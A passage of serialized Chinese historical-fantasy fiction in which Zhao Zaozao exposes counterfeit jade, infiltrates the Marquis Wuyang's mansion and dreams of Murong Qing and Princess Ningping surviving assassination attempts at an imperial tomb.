如此忙碌几日,此前落后的队伍也都陆续到齐,明日,便是先帝安灵入府的奉安大典,宁平公主裹一件白狐裘斗篷,独自坐于岗哨高台之上。
慕容青是听属下通报,特地上来找她的,“在看什么?”说着递一个手炉,顺着她的视线也向下看去。
风卷过山间松涛,波浪起伏,发出阵阵不绝的呼啸。环皇陵明楼而建的镇陵监卫所上下挂满了肃穆的白幡,也随风猎猎作响。
“看布局。”公主的声音带着一丝不易察觉的疲惫,“这地方……不对劲。”
“哪里不对?”慕容青闻言眉头微蹙,也在脑中仔细比对起来,此地的布局与亥陵起初的规划别无二致,地宫他也核验过,暂时还没看出什么纰漏。
公主摇摇头道,“或许是我想多了。”
翌日,天光破晓,浓厚的浅灰色云层尚还压在山巅,迟迟不肯退去。
亥陵神道前的祭坛上,青铜祭器森然罗列,白烛灼灼燃烧,映照着四周肃立的礼官与军卫。
大典已行至“三献”之礼,宁平公主身着繁复庄重的祭服,端坐于祭坛中央,而一身轻甲的慕容青立于她身侧。
公主面容肃穆,目光平静无波,慕容青同样渊渟岳峙,神色沉稳。
礼官悠长的唱和声起:“进——酒——”
一名身着素麻祭服、低眉垂目的内侍,双手高擎着两只青铜酒樽,一步步踏上祭坛。
酒樽里盛满了色泽深沉的祭酒,随着他的步伐微微晃动,在惨淡的天光下,泛着一种诡异的幽光。
慕容青看也不看,只道:“拿下!”
刹那间变故陡生,那内侍猛地抬头,手腕一翻,满眼凶戾抽出袖中匕首,那酒樽中的液体泼在青石板上,竟然腾起几缕白烟,慕容青闪身避开,心说就这气味傻子才喝。
祭坛下方数十个侍卫同时鬼魅般暴起,看似要上前抓人,跃上祭台却临阵倒戈,手中飞镖、短刃乃至淬毒的袖箭,化作一片夺命的流光,疾射向祭坛中心的两人——
然而瞬间就被盾牌格飞,在他们左右,全是镇陵军中训练有素的精锐,显然早有准备,不过几个呼吸之间,方才还来势汹汹的刺客,已如同被镰刀割倒的麦子,横七竖八倒伏在冰冷的祭坛上。
他们中并不都是被杀死的,也有活口当机立断自尽,狠厉决绝。鲜血蜿蜒流淌,猩红遍地,委实不吉。
礼官早已惊呼退避,众人反应过来也是一片嘈杂,慕容青目光扫过地上狼藉,命人把尸首都拖下去,奉安大典继续。
混乱被强行镇压,场面多少有些仓皇,礼官强压着颤抖,再颂念祭词时音调明显要拖长很多,而公主夫妇二人神色如故,仿佛方才那场惊心动魄的刺杀不过是祭典中一段微不足道的插曲。
一声夜枭的啼鸣穿透了利琅山沉沉的夜幕,慕容青执灯踏入房中。
宁平公主已换下繁重的祭服,玄色常服更衬得她身形挺拔如松。她在桌案前看一样东西,昏黄烛火跳动,映照得她棱角分明的侧脸半明半暗,透着疲倦和凝重。
“别伤神了。”慕容青拿过那枚镖,“印记证明不了任何事情。那些人混进落单的队伍,也有可能是冒名顶替,偷拿了宫中禁卫的兵器。”
“当然了,”慕容青把
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东西一扔,“也有可能不是。管他呢,兵来将挡,水来土掩,这一关总归过得去的,你不必担心。”
“不应该是现在,”公主皱眉道,“太早了。他想要的东西还没有得到。为什么……”
慕容青怕她要猜想假孕一事从而自责,便不想再谈论这个话题,“你还记得我跟你说过,要在奉安大典结束之后,告诉你一个秘密吗?”
与所料相反的是,公主并未展现出任何好奇,甚至并不想要知道,“你不必说。”
“为什么?”慕容青反倒不解。
公主看他一眼,又很快移开目光,迟疑道:“这个境地,我不会……也不必再听他的命令,你无需告诉我任何事情。”
“啊?”慕容青没想到她这么想,轻笑道,“我想向你坦承我的秘密,和他有什么关系?”
“而且这只是我个人的秘密,虽然关系重大,但只与‘我’有关。”慕容青言下之意很明确,他要讲的事与通天藤、十二陵都毫无关系,只是他自己的私事。
公主对他难道全然无意吗?
可他感受到的却不是这样。曾几何时,两人之间的壁垒,无形中便已消弭。
“我和你一样,少时也没有朋友。”慕容青说,“我有很多对我很好的兄长……但那是不一样的。”而且现今也已远去。
“你……”公主看起来似是有些无措,不知该说什么好,恰在这时,屋外传来侍从的通报声。
“这么晚会有什么事?”慕容青道,“我去看看。”
结果出来之后只是听闻宫中那批人要天不亮就走,回都城早日复命云云,慕容青冷笑,这是怕今日事情生变,留在这里,会被永远地留下?
看来人人都以为,慕容氏时至今日,必是要反了。
他无意与那些人费劲周旋,命手下放行,房中忽然传出公主的声音道——“等等。”
慕容青作了个暂停的收拾,又踏回房中,公主目光灼灼看他,坚毅中透出狠绝,低声道:“不能放。”
“派人跟着,等那些人出了营地……就把他们全部杀死。”
昭早早惊醒时,犹记得公主那双眼中,与平日截然不同的果决。
破庙工棚四处漏风,鼾声此起彼伏,她本就睡得浅,一点风吹草动便醒,梦也不敢再做下去。
慕容青听了公主的话吗?她在史料中没有看到任何的记载。只知道他们最终死于亥陵之中,一个七窍流血,一个万箭穿心。
她不愿再睡了,索性烦躁地爬起来巡夜。既定的过往,反复面对并不好受,徒劳无益的情绪,于人只是折磨。
或许她应该放下这一切,这不是她的人生,既已轮回,奈何桥走过一遭,何苦再自寻烦恼?
人是这么想的,脚却自己走到庙中停下。她想逮个什么破窗户缝确认一下肖平的安危,倒是先跟四和大眼瞪上小眼。
四和低声警惕说:“你现在后悔可来不及了。”
算了,有这小尾巴跟着呢,昭早早摆摆手,“你忙吧。”
33. 武阳侯
自破土动工那日后一切顺遂,祭坛建设如火如荼。
昭早早这个计料倒也不是真的那么清闲,少不得要登记做账,核对材料,不时去一趟现场,也顺带检查异株是否全然彻底销毁,再无事端。
她并未刻意打听,概因如此,总是错过肖平去祭坛巡查的时机,连月以来,两人你来我往,从未碰过面。
倒也挺好,她是真的不想再大梦一场。
在工部这些时日,靠着舅父照拂,加之前期也算勉强与世子攀上过关系,并无什么人为难她。
背后如何议论她自是没兴趣知道,早日完成眼下的工事,她便早日回乡去。
奈何最近的一批土石材料,总是有问题,她抽检数次,照着计料清单送来的汉白玉石板,明显有一些次品混入其中。
光看表面,便是经验老道的匠人也看不出分别,但昭早早通过重量差别,隐隐察觉不对——
次品根本就只有表面是一层“玉皮”,底下全是粗劣青石,以糯米浆混细瓷粉,填补砂眼后细细地打磨抛光,伪造汉白玉的润泽凉滑,如此精湛手艺,比之真料也节省不了多少成本,必然有诈。
她等无人时随手劈碎一个,中间全是蜂窝状被侵蚀过的空洞,什么用心自不必多说,材料能运来,工部必有人配合,她也懒得去查,只将这情况概述书写,上呈给负责土石的右校管。
右校管闻言反斥她僭越,三令五申不许她再管,只说会上报给将作丞——此人如此态度,昭早早心中自然便有数。
等上几日,非但没听到将作丞张铎有什么动静,反而这批玉料马上就要用,昭早早佯作不再插手,暗地里修书一封,决定还是去一趟世子府。
早前便听舅父提起,肖平来王都之后住的是肖老将军曾经的旧宅,说是省亲思旧,各中龃龉,明眼人都能分辨。
她自认曾与肖平订亲,又不识好歹地上门退亲,此时应当避嫌,省得流言蜚语传遍都城遭人指指点点——都是借口,她何曾在意过市井流言、鼠辈议论,关键是怕见了肖平又做梦。
趁夜,昭早早在肖府附近犹豫徘徊了半个时辰,终归没有拜访,而是将信纸随手一折,绑了根木棍扔进院中。料想以四和的警醒与眼力,应能发现,万一料错,大不了她过几天再来扔。
如此又待几日,昭早早便听闻世子带人亲去现场核验,点明了要劈开石料查看,果然有误,右校管当即就被拿下,而将作丞张铎到底是四品命官,拿他还需上朝堂。
据说,他早年曾在晋王府当差,不过这次出事之后,却是连夜登门参请了武阳侯。
奇怪了,这又是怎么扯上的?
昭早早在墙后附耳听着,那几个窃窃私语的校署官员中亦有人有此疑问,说:“怎会与武阳侯有关?”
另一人道,“我也是听说的……晋王妃与武阳侯,有旧。”
人声立时嘈杂、暧昧起来,声音压得更低,昭早早耳力惊人,几乎也听不清,前头那人赶忙又道:“不不不,是少时失散的,十五年前才相认。”
“可武阳侯姓赵,晋王妃是林氏嫡女,两人并不同姓啊?”
“那谁知道,都是些昔年旧闻,武阳侯本就出身边关,身世成谜,爵位也……”他略一停顿,自觉不妥,便不肯说了:“也罢,那些个公子王孙的旧事,哪是我们这些人能够议论的。”
话听半截最是吊人胃口,十五年前……武阳侯,昭早早忽地记起,这不正是占居慕容青前世宅邸的那个人吗?事情还当真这般凑巧,既然如此,她势必得知道得更详尽些。
王都西市,喧嚣深处,藏着一方清净地——方圆茶肆。铺面不大,只摆着七八张桐木桌,青瓷茶盏,白墙素净,瞧着与寻常茶馆并无二致。
唯有那些惯走江湖的人,才明白此间门道。名唤“茶肆”,实则是南来北往各路讯息的汇聚之处,一个水面之下暗流汹涌的“消息楼”。
昭早早到时日头已偏西,茶客稀疏。她未看墙上悬挂的茶牌,径直走到柜台前。掌柜的是个微胖的中年人,正低头拨弄着算盘,眼皮都未抬。
她回忆着方知画教她的说辞,开口道:“掌柜的,烦请上一盏‘雪顶含翠’。”
掌柜拨算珠的手指一顿,抬眼看她,目光锐利,随即又敛去锋芒,恢复成寻常生意人的和气模样。
他慢悠悠道:“姑娘好品味。只是这‘雪顶含翠’,产自绝壁,采摘不易,非等闲可得。不知姑娘要问哪座山头的‘雪’?”
昭早早知晓这便是搭上线,唇角微扬,指尖在柜台上看似随意地划了几笔,写下三个字。她道,“正是此山。”
掌柜眼中精光一闪,心下了然。“雪顶含翠”是堂口里最顶级的切口之一,只有主家的人知晓,查问的都是机要情报,这位姑娘既能得知,他便不再多问,只点头道:
“姑娘稍候,这茶须得现备。”说完转身入了后堂,帘子落下,隔绝内外。
跑堂的小二兀自招呼客人,全然不理会这边。
不过半盏茶的功夫,掌柜便托着一个素色粗陶茶盘出来,上面仅有一杯热气袅袅的清茶,放在昭早早面前的柜台上,并未移入雅座。
他笑眯眯道:“此茶需即饮,水温正好,姑娘且用。”
昭早早也不推辞,端起茶杯,只见茶盘上浅灰色的水印显出几行蝇头小楷:
武阳侯赵毅,本名不详。出身北疆寒卒,戍边多年,建极三年,因平乱安邦,积功累升,敕封武阳侯,同年奉诏入王都,其妻早故,出身不详。解兵权,转授海市督监之职,海市利巨,聚财如山。
好一个本名不详、出身不详,可见其身份确实存疑。她细细读过,那些字迹须臾消失。
显然是某种特殊的颜料,在很短的时间内便会褪去,倒是个周全的好办法。
“好茶。”她轻呷一口,将一枚小金锭放在柜台上,“多谢掌柜。”
掌柜不动声色收起金锭,脸上堆满笑容:“姑娘慢走,欢迎下次再来品茶。”
下次还来,未免太亏。看来满身谜团的武阳侯能加官进爵,必是为建极帝立过一些不宜为世人所知的功劳,或与当年叛乱有关。
而方家给的信息里并未提及他与晋王妃有兄妹关系一事,可见此事做不得准。但若说二者之间没有关系,也不尽然。海市……“息壤”一事中带回来的海外异株,会与他有关吗?
若真的有所关联,必然是船队替他回,谁家船队?
昭早早步出方圆茶肆,抬头一望,还真是巧,闵家商铺就开在正街第一号。店面富丽堂皇,门楣上悬着金字的匾额——闵氏海珍,与方才茶肆的古朴素净判若两然,店内奢华阔气,陈设琳琅满目。
巨大的砗磲壳盛着浑圆的南海珍珠,琉璃柜中锁着金玉宝石,檀木架陈列着大小珊瑚、玳瑁甲片、风干的海外药材,还有气味浓郁的各色香料。
来往者大多衣饰华丽,她踏入店中,倒还反有几分打眼。
昭早早浑不在意,大大咧咧寻觅掌柜的身影,几番穿折,并未看见,便随口问一名年轻伙计道,“劳驾
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,掌柜的何在?”
对方见来人衣着素净却气度不凡,并不敢怠慢,客客气气道:“这位客官,实在不巧,我们琛掌柜的今日告假,您若有要事,或是想寻什么稀罕物,不妨明日再来?”
昭早早眉头微蹙,正待再言,忽听内堂传来一道清越女声,“何事寻掌柜?与我说也是一样。”
伙计忙躬身,“东家。”
话音未落,连接内堂的珠帘被一只白皙如玉的手轻轻撩开。昭早早一看那手,便是眼皮一跳。
果然闵栀一身烟霞色云锦长裙,袅袅婷婷现身,眉宇间明丽照人,却自有一股商海沉浮历练出的精明利落。
两人四目相接,气氛凝滞了一瞬,旋即被闵栀从容的笑意取代,她吩咐伙计道:“原是贵客,快请楼上雅间叙话。”
昭早早随她上去,只道:“闵大小姐,别来无恙。”
二楼雅间又与楼下不同,布置得清雅别致,倒与彩丹城中的暗阁格外相似。
虽说可能性不大,但昭早早还是学乖了,紫檀木案几上摆着的茶点果脯一样都不碰,还特地瞄了眼,香炉尚未点。
闵栀也是把手拢在云袖里,寒暄道:“昭姑娘风采更胜往昔。怎么得空来王都?”
天知道她是揣着明白装糊涂,还是说弟弟得救之后便也不再关注相干的人,昭早早想了想言简意赅道:“匠作。你呢?”
“近来有一批货送往王城,我也就顺道过来看看铺子。”
两人相视一笑,笑意都未达眼底,昭早早开门见山说:
“此番实有一事想询,我不喜兜圈子,便直说了罢。闵家船队远涉重洋,带回奇珍异宝无数,可有些不同寻常的植物,与通天藤近似,嗜噬人血肉?”
“昭姑娘果然并非常人。”如此突如其来的问话倒也未让闵栀显得慌乱,只语气透出股无奈,“……自然是没有的。”
“真的?”昭早早显然不信,“你莫要骗我。”
闵栀轻叹道,“闵家船行万里,所见所获,皆须记录在册,商队带回来的无论是金银珠宝也好,天地造物也罢,都要先交予海事督监查验,受其监管。”
面对昭早早审视的目光,她意味深长道:“有些东西若是已‘损毁’,与账目不对,自然会被划去。至于它最终如何,又岂是我们一介商户能够窥探得了的?”
话到这里,昭早早也听明白了,落点还是在武阳侯,便道:“这蜜果没毒吧?”
“什么?”闵栀被她问得一愣。
昭早早指着面前的果盘,闵栀点点头,眼睁睁看对方连盘子一起端走。
昭早早沿着西市大街不疾不徐地溜达,目光看似随意地掠过道路两旁鳞次栉比的华屋商铺、高门大户,实则将周遭的地形、人流、乃至巷陌的走向,都无声无息刻入脑中。
武阳侯府气派非凡,高逾丈余的青石围墙绵延开去,随着地势略有起伏。
狰狞的狻猊石兽踞守两侧,四名佩甲护卫按刀而立,身形魁梧,呼吸绵长,均是训练有素的好手,非寻常看家护院可比。
可无论是掠过守卫,还是翻越院墙,对昭早早来说都不是难事。她打量一番,便不再停留,而是去找成衣铺子。
夜行服是不可能了,寻常商户根本不会贩卖,不寻常的一时半会儿也找不到。
她索性买了一身靛青色的细麻衣,这种布料比之黑色更不易反光,就是穿着看起来很像某位富家公子的跟班小厮,倒也无甚所谓。
只待夜半更深,她再来一探究竟。
34. 夜探
夜色浓稠,唯有打更人的梆子声远远传来。昭早早一身靛青麻衣,随手扯了块布遮住半张脸,只余一双眼睛在黑暗中亮得惊人。
她像只壁虎,贴着武阳侯府的高墙翻爬进去,悄无声息隐入浓浓夜色。
府邸深处,只余零星几点灯火,守卫的脚步声规律地响过。她看准空隙,无声落下,点地即起,狸猫般窜进假山石后的阴影。
这座府邸虽多有修缮,主路主宅却是没变的,与她而言也是轻车熟路,只肖专挑花木和亭阁的暗角潜行。
前方飞檐下亮着灯的屋子应是书房,既然路过,不妨先看上一看。
她绕到书房侧后,一扇支摘窗虚掩着缝。昭早早屏息,指尖凝力,将窗缝推开一丝。
一个穿着锦袍略显佝偻的侧影,正珍而重之地缓缓展开一幅卷轴。
此人原本冷漠的眼神,随着画卷的徐徐展开,变得柔和而专注,烛光把他影子拉得老长,投在画上,微微晃动。
从昭早早的角度,正好隐约能看见是一幅美人执扇图。
他是谁?就算只有半张脸,也瞧得分外眼熟。
昭早早正疑惑,那人缓缓转过身,走向书案。摇曳的烛光这下映照得清晰分明——她在梦中,见过这张脸。
皱纹深了,头发白了,可那眉骨的棱角,鹰钩般的鼻梁,下颌的线条,她绝不会认错——这是慕容青的姑父,林荣。
他不是十五年前就急病而死了吗?
怎么会!
昭早早难以置信,凝神去看,气息不由自主地微微一滞。
因着这刹那的心神失守,她支着窗棂的指尖,力道稍重了一分,窗框发出极轻的响动。
“是谁?!”
随着房中乍起的喝问,立时有守护向这边扑来,“有刺客!保护侯爷!”
他竟是武阳侯?!昭早早瞳孔骤缩,抽身急退!
晚了!
武阳侯按动了不知哪处的机扩,窗框上原本像是装饰纹样的珍珠状孔洞里骤然喷射出许多透明的粘稠丝线,如同蛛网,带着冰凉湿滑的粘性,又细又韧,瞬间就缠了昭早早满身。
影缚丝!凭着慕容青的记忆,她当即认出这东西,再过一息,只怕就会干硬得像铁索一样捆住她。
当机立断,她直接把麻衣撕了,向袭向她的护卫扔去。
“有刺客!在书房后!”
呼喝声令整个侯府灯火大亮,脚步声潮水般从四面涌来——这机关真是歹毒,纵使她见识了得脱得快,穿着一身里衣打斗奔逃也着实不雅。
罢了,昭早早探手入怀,毫不犹豫地摸出方知画赠她的那枚小巧香囊,将药粉当空一撒。
粉末极细,霎时腾起烟雾扩散开去,被烟雾笼罩的侯府护卫一声不吭软倒在地。
只是那影缚丝上大约也附了毒,她的脖颈沾染到一些,只觉脑中嗡的一声,像是被塞了一团湿棉花,眼前的景物竟有些晃荡。
不好,再不走可就麻烦了,昭早早身形如电,纵身越过高墙,像西街小巷疾步而去。
侯府的追兵前一波尽数昏厥,第二波远远跟不上她。
嘈杂声渐远不可闻,昭早早强撑着,脚步微微发飘,停在一条僻静的小巷尽头。
她实在是支持不住,背靠着冰冷的砖墙,身体不受控制地滑坐下去。
硬实的触感让她稍微清醒了一瞬,但紧接着,更沉重的黑暗汹涌袭来。
*
等意识再度清醒,昭早早蓦地睁开眼,视线聚焦在头顶——
一个只金色的夜枭正瞪大眼盯着她,准确的说,是一张色彩浓烈的夜枭挂毯。
她此刻睡的是普通木床,挂的也是寻常青灰纱帐,但就是有这样一副异域风情十足的东西悬在头上,图案华美,勾线细致,还是上等货。
她撑起身,环顾四周,这房间不小,陈设却古怪得令人侧目:
厚重敦实的雕花圆桌,端正富贵,摆的却是造型夸张的漆金铜壶;靠墙立着古朴的红木多宝格,里面摆满了各式各样奇形怪状的海螺、贝壳,加一块估计也买不来半个架子。
最怪的还是窗台上摆着一樽憨态可掬的狸猫陶像,应是狸猫吧?
和她在山中见惯的那种不太一样,但总的来说,相当……可爱。
整个房间的格调就是毫无格调,混搭在一起,倒也别具一格。
昭早早摸向颈间,蛛丝已被清理干净,衣裳也换了,她跨门而出,晨光微熹,眼前的院落比想象中更大些,桑枝蔼蔼,青砖铺地,角落围着鸡圈,几只肥硕的芦花鸡悠闲踱步。
而喂鸡的青年食盘也空了,掂着空盘似笑非笑看她,话音里带一点慵懒的异域腔调:“醒了?”
阿琛?!看来昨夜帮了自己一把的人竟然是他。
闵栀人在王都,阿琛会出现在这里也不稀奇。说来他只见过乔装改扮后的自己,未必能认出来。
昭早早不动声色道,“昨夜路遇宵小,多谢这位兄台好心搭救。”这番说辞,勉强也能解释她为何深更半夜,当街衣衫不整吧。
“哦?何方宵小如此猖獗?”阿琛眉峰一挑,追问道,“我同你去报官。”
“我自己去就行,不必劳烦兄台。”
“这么客气?”阿琛尾音上扬,带着一丝促狭的味道,“咱们不也算是同生共死的交情吗?”
不算吧,一起困在陵墓里算什么同生共死,昭早早镇定道,“兄台在说什么?怕不是认错人了。”
“现在假装不认识我,是不是晚了?”阿琛低声谑笑,“我昨晚只是路过那条巷子,要不是你叫住我,我才不会管你。”
“你的脸变了,声音可没变。”阿琛咋舌道,“我真是被你吓死了,你竟然是女人。”
“……”昭早早闷不吭声,盘算他说的可能性有多大——难道她昨天彻底昏厥之前还保有一丝意识,看到熟人,应机之下就求助了?这么糟糕的吗?
有没有可能是对方诈她?
阿琛踱步过来,也不管她沉默,嘴角勾起一抹玩味的弧度:
“怎么你改行去当刺客了?昨夜侯府那通热闹,天亮都还在搜人。你脖子上那东西,我可是好不容易才帮你弄掉的。”
“……”
算了,再装下去也没什么意义,闵栀既知她根底,多个手下也无妨,大家一条船上的蚱蜢,说到底他也帮了自己。
昭早早瞥见自己身上花里胡哨还搭了一条羽毛腰带,穿的是月白云锦上好的料子,避重就轻道:
“这身行头是你帮我换的吗?”
阿琛警惕道,“我只是给你往上套,什么便宜也没占,别想赖我啊!我是外邦人,可不兴你们中原礼教规矩那套的。”
“放心吧,不赖你。”昭早早随口应道,“多谢,改日加倍奉还银两。”
她奔忙一夜,头发松散,此时垂下几缕,边徒手束起边问,“这是你住的地方?”忽地想起昨日闵家铺子那伙计说,“琛掌柜今日不在”……
她猜测道,“难道你在王城的闵氏海珍当掌柜?”
“怎么,不像吗?”面对她的质疑,阿琛颇为得意地指了指自己的脸,又偏头亮出耳上银环,“由我来贩售异域珍品,不是更有说服力吗?”
昭早早连连点头,确实很有道理。
阿琛看她也整理得差不多,一指门口送客道:“好了,
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既然无甚大碍,便请自便吧,我可不想平白无故惹上麻烦。”
走去哪?
她忽地有点茫然,还要去查武阳侯么?他分明就是诈死的林荣,慕容青信任的姑父,更名换姓之后,摇身一变……这之中可有什么隐情?
她或许是该想办法再去查探……然后呢?若这便就是事实,她要怎么样,一刀结果了他,了却前尘恩怨?
这可不比鬼祟偷摸下地宫劫走一个囚犯,一旦出半点纰漏,昭家必受牵连。
那她或许还得杀上金銮殿,反了这天下才行。
如何能做到?
前世慕容氏执掌十二路镇陵军尚且不反……他们为什么不反?!金陵城破的那一梦,慕容青心心念念什么大任大任……昭早早额角青筋突突直跳,她想不起来前世的自己有什么大任,值得吗?
阿琛看她用力地揉按额头,忙防患于未然道:“出巷口左拐就有家医馆,诊金不高,医术精明。”
这待客之道是怎么当上掌柜的,昭早早叹一口气道,“没事,我只是有点累了。”说罢转身欲行。
“医馆的对面还有一间赌坊。”身后传来阿琛漫不经心的声音,“也是疗伤治病的好地方,身病心病都是病。”
昭早早摆摆手示意知道了,步出院门,果然见巷口斜对面,医馆的素淡招牌旁,赫然悬着一幅招摇的布帘,其上绘着一枚硕大无朋的骰子,“来财赌坊”四个大字张牙舞爪。
不甚相干的,她想起慕容青那时和公主在船上玩骰子,还欠下二十两赌资未还,神情不由得一黯,终归是没有进去。
*
玉府管事看一个人影垂头丧气从侧门跨入,近前一看,讶异道:“表小姐?您怎么一早……您几时出去的?”不禁怀疑自己老眼昏花。
昭早早神色恹恹,“嗯,起早了,出去走走。”
她声音微哑,“我身子不大爽利,工部将作监那边,烦请人去帮我告两天病休。”左右近来无事,她那个闲差也没人在意。
管事忙应下:“是,表小姐您好生歇着,可需要请个大夫?”
昭早早摇头说不必,径直回了自己客居的院落。她今生只是一个普通匠造世家的女儿,好不容易安安稳稳重活一世,真的还要卷入旋涡吗?
如此龟缩两日,乱麻尚未理清,不速之客却来了。她翻别家的院墙如入无人之境,如今别人翻她的也只能说是天理循环,报应不爽。
昭早早敛下捏在手中的碎石,和四和无言相对。
四和没想到这么快就被她撞破,倒也非常坦然地耸耸肩道,“世子不便来见你,派我来看看你有没有事。”
“我……没事。”昭早早没想到一向冷淡的肖平会暗中派人来看望她,想来在这权力倾轧的中心,他或是担心她的。
也对,两人勉强也算是青梅竹马,更有同窗之谊。
“你没事那我就走了。”四和说完,干脆利落翻墙出去,一句多余话没有。
昭早早怅然若失盯着他消失的墙头,鬼使神差也攀上去——
后巷中,一辆双架的马车远远停在树下,四和正小跑到车边,微微躬身,对着垂下的车帘低声说着什么,像是复命。
暮云合璧,落日熔金,渐暗的云霞中厚重的车帘被里面的人轻轻掀起一角,明月便映入她的眼中。
月是当时月,人非梦里人。
下一刻,肖平像是感应到什么,倏然抬头,目光穿越暮霭,遥遥望来。
昭早早心口像被什么蛰了一下,巷子幽暗,隔着一段距离,她看不真切,只觉有什么坚定的、沉静的,如梦似幻的东西,凝在他眼底。
可望而不可及。
35. 倒影
是夜,昭早早做了最后一个有关于前世的梦。
慕容青的房中置着一盆清水。
常年操持兵刃而布满厚茧的手,拂过铜盆光滑的边缘。水中映照出一张卸下伪装后、稍显疲惫的脸,长发如墨披散。
即便如此,那倒影看起来仍是雌雄莫辨。许是乔装得太久,又服下过阻断癸水的药剂,她整个人气质都发生了改变。少时虽然也是跟着哥哥们满山林跑的假小子,但还未假得如此彻底,如此逼真。
慕容青自嘲地笑笑,有时连她自己都会忘记,自己其实是个女人。
难怪在王城外钓鱼那回,她头发散落下来,公主根本无动于衷。可见话本中俊美的江湖少侠发髻一散开就变成俊俏女侠,叫兄弟们大惊失色的桥段都是骗人的。
真叫人看不出破绽的伪饰,是此刻她若穿上罗裙出去,旁人只会恭敬地问少将军为何要男扮女装,可是朝廷有什么机要任务。
从担下慕容氏使命,执掌镇陵军权柄的那一刻起,她便只有少将军这一个身份。
再无退路,亦无选择。
她以为自己永远不会有任何私心,但天不遂人愿,她已无法在公主面前继续这个谎言。
扪心自问,她是喜欢上公主了吗?在坦白之前,慕容青压根不愿深想这些问题。空中楼阁,莫过于此,就算她只在意心之所向,不分男女,可公主会作何想?这建立在梦幻泡影之上的情谊,又有几分真实?
*
望月崖。
利琅山上的这处断崖并没有名字,因慕容青约了公主赏月,便擅自谓之。夜风带着山林清冽的气息,满月高悬,清辉遍洒,远处的帝王陵寝投下巨大而沉默的暗影。
云枝云桠稳步将宁平公主抬至此处,放下软轿,无声地退入崖下的竹林中,隐没于林间阴翳。
“为什么还要这般?”慕容青不解,此前公主要她杀尽宫中来使,再随便伪造个什么山崩流石的借口——与举与明反无甚差别,但事已至此,他们的处境也不会变得更坏。
然而不到万不得已,她还是不愿如此。大伯父重伤之际的嘱托,言犹在耳。
利琅山此刻并无朝廷耳目,公主却并未乔装成李公子,而是言简意赅道:“近来布防大多是林公的人。”
公主不放心她的姑父林容,慕容青是知道的,只是此前亥陵诸事皆由姑父统管,或许过了今夜,她也是该将自己的得力心腹自外围调回。
“邀我来所为何事?”
公主问得认真,慕容青不禁语塞,这话头开得便不好,仿佛不聊点什么家国大事,就不对劲一样。
偏她要说的又无关这些,不由支吾道:“其实……我一贯认为,世间男女之别,并没有那么重要。男子可做之事……女子未必不能为。”
公主难掩眼中诧异,惊疑不定地看向她。
慕容青一番说辞满腹翻滚,终于是冲向嘴边,正欲和盘托出,公主却突然道:
“所以,若女子亦想要问鼎天下,为万民谋福祉,你如何看待?”
“什么?”这惊世骇俗的一问,问得慕容青猝不及防,她自然是设想过对方诸多反应,却唯独没有这一条。
这可真是“不是一家人,不进一家门”,慕容青哭笑不得。自古以来,从未有女子继承皇位的先例。纵然公主是先帝唯一的血脉,也实难做到……真的吗?
若公主如她一样,“成为”男人,又该当如何?
这世道便是如此可笑,主江山社稷者,才略、智谋、心性皆非首要,首要的是先身为男子。
“若是你想要……”慕容青飞速思考,斟酌言辞道,“我……”
我好像中毒了。
一股麻痹感从四肢蔓延,慕容青眉头紧锁,她常年习武,对自己的身体掌控入微,当即抬手疾点胸前几处要穴,强行封住气血,试图压制毒素。
公主的反应快得惊人,几乎同时就吹出一声响亮尖锐的口哨!
哨音在寂静的山崖上回荡,然而回应他们的只有山风穿过松林发出的呜咽,以及一片死寂。
公主的脸色骤变,慕容青一把将人拉起:“走!”
什么伪装,什么秘密,在生死的面前都微不足道,两人向崖下通往行营的小路疾奔。
越过那片竹林的边缘时,公主的脚步一顿,慕容青顺着她的视线看去,月光穿透稀疏的枝叶,斑驳地洒在血泊之中。云枝和云桠一人喉间豁开,一人心口插着一支短弩箭,箭身没入大半。
狠辣的、出其不意的杀手,才会让她们连警报都没能发出。
“走吧。”慕容青咬牙。
“嗖嗖嗖——”
破空之声疾风骤雨般从四面八方袭来,漆黑的弩箭密密麻麻,敌人早已埋伏在此!
慕容青瞳孔紧缩,腰间长刀刹那出鞘,刀光如练,舞得密不透风,金铁交鸣之声爆响,她已将绝大部分弩箭斩落,奈何一支角度刁钻的还是擦着她左臂激射而去,慕容青回护不及,刹那间心惊胆战——所幸只是擦着公主的面颊飞过,挂掉了她覆面轻纱,而这片刻功夫,公主业已取出身上藏匿的软剑。
影影绰绰的黑影如鬼魅般从林间、石后闪现,足有数十人,二人当机立断,抽身急退!
这群黑衣人身手矫健,行动间配合默契,训练有素,显然不是寻常杀手——今晚的刺杀不仅蓄谋已久,还有人里应外合,否则这一队人马根本不可能悄无声息地出现在山中腹地。
任何人得知自己被背叛时都会涌起强烈的杀意,慕容青也不例外,然而现下并不是分神推算的好时机,此处离镇陵监主力营区太远,呼救根本来不及。最近的、能借助地利周旋甚至阻挡追兵的地方,只有……
“去水闸!”慕容青低吼一声,强提一口真气压下翻腾的气血。她说的水闸离此处很近,因着曲水河滂沛汹溶,利琅山中藏有其众多暗流,亥陵为防山洪倒灌,特地在地宫的排水渠口修建了一道青铜闸门,铜厚三寸,重逾千斤,其后的甬道正可供他们藏身。
奉安大典前日,她曾于岗哨高台指给公主看过亥陵布局。只要得以暂避,不怕没有喘息之机。
宁平公主闻言,立即与她一同向地宫的方向冲去。
杀手紧追不舍,弩箭频发,如附骨之疽。
刚冲过一片乱石坡,前方山道上突然闪出几点火光,是一支十多人的巡夜小队!
“将军?!”
为首的什长认出慕容青,惊愕出声,随即看到他们身后紧追的黑影,脸色大变,“敌袭!”
“撤!放信号求援!”慕容青脚步未
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停,嘶声下令,喉间因猩甜上涌而沙哑。
那什长动作极快,立刻从怀中掏出信号筒,猛地朝天一拉!一道刺眼的红色焰火尖啸着撕裂夜空,他和手下四人怒吼着拔刀,竟是要护卫慕容青。
“你们要抗命吗?!”慕容青喝道,“走!”
身后霎时传来激烈的打斗和短促的惨叫声,她心头一沉,却是不能停下,不敢教他们的牺牲白费。
甬道入口前的守卫不见踪影,慕容青迟疑了一瞬,还是闪身进去,毕竟眼下别无他法。
“跟我来。”她喘息着,忍着五脏六腑的绞痛和手臂的麻木,沿甬道疾行。
石壁上雕刻着四神的浮雕,在长明灯下栩栩如生,慕容青停到龙首前,伸手用力按向凸起的龙角。
咔哒!
一声轻微的机括响动后……什么都没有发生。
慕容青面白如纸,又用力按了几下,甚至尝试旋转、扳起,本该落下的青铜闸门却一直毫无反应。通晓这地宫机关设置的,除了她,就只有主持修缮的山陵使,姑父林容。
甬道前传来密集的脚步声。
她骤然转身,狠厉而决绝,“我拖住他们,你往里走,等援兵到了再出来。”
公主道:“要走一起走。”
“你……”慕容青再要说什么,黑衣杀手已汹涌追来,他们弩箭已所剩无几,手中利刃闪着寒光。
